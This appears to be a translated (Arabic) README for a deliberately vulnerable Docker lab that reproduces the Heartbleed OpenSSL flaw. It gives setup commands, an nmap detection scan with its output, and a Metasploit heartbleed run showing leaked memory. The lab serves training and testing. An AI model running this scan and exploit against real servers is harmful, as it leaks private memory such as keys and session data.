
الثغرة كخدمة: استعراض CVS-2014-0160، المعروفة أيضًا باسم Heartbleed
نظام Debian (Wheezy) Linux مزوّد بإصدار ضعيف من libssl وopenssl وخادم ويب لعرض CVS-2014-0160، المعروف أيضًا باسم Heartbleed.
تعتمد حاوية Docker هذه على Debian Jessie وتم تعديلها لاستخدام إصدار ضعيف من libssl وopenssl.
تُقدَّم صفحة ويب ثابتة بسيطة عبر Apache 2.
قم بتثبيت الحاوية باستخدام docker pull hmlio/vaas-cve-2014-0160
قم بتشغيل الحاوية مع تعيين منفذ docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
يجب أن تتمكن من الوصول إلى تطبيق الويب على http://your-ip:8443/.
يمكن التحقق من الإصدار الضعيف من خادم الويب/openssl/libssl واستغلاله كما هو موضح أدناه (يُوصى باستخدام جهاز Kali):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-26 17:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000068s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
8443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.10 (Debian)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
Using msfcli from the Metasploit framework:
root@kali:/tmp# msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E
...
...
[*] 192.168.179.230:8443 - Sending Heartbeat...
[*] 192.168.179.230:8443 - Heartbeat response, 65535 bytes
[+] 192.168.179.230:8443 - Heartbeat response with leak
[*] 192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip